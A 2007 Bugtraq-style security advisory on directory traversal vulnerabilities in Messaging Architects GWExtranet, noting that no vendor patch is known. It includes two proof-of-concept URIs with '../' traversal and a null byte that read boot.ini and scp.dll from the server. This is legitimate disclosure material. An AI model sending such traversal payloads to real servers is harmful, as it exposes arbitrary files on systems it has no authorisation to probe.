GWExtranet Multiple Directory Traversal Vulnerabilities

Bugtraq ID:	26525
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 21 2007 12:00AM
Updated:	Nov 21 2007 09:54PM
Credit:	[email protected] is credited with the discovery of these vulnerabilities.
Vulnerable:	Messaging Architects GWExtranet 0
Not Vulnerable:

GWExtranet Multiple Directory Traversal Vulnerabilities

GWExtranet is prone to multiple directory-traversal vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

GWExtranet Multiple Directory Traversal Vulnerabilities

Attackers may exploit these issues through a browser.

The following proof-of-concept URIs are available:

http://www.example.com/gwextranet/scp.dll/sendto?user=calendar+of+events&mid=474020FA.GWEMAIL_DEPOT.SDEPO.100.167656B.1.1B00.1&template=.././../../boot.ini%00
http://www.example.com/gwextranet/scp.dll/nbfile?user=calendar%20of%20events&format=&mid=46FA2724.GWEMAIL_DEPOT.SDEPO.100.167656B.1.198E.1&folder=Calendar&altcolor=cccccc&template=gwextra&caldays=1&startday=&file=../scp.dll

GWExtranet Multiple Directory Traversal Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

GWExtranet Multiple Directory Traversal Vulnerabilities

References:

• GWExtranet Homepage (Messaging Architects)
  
• GWextranet Multiple Vulnerabilites ([email protected])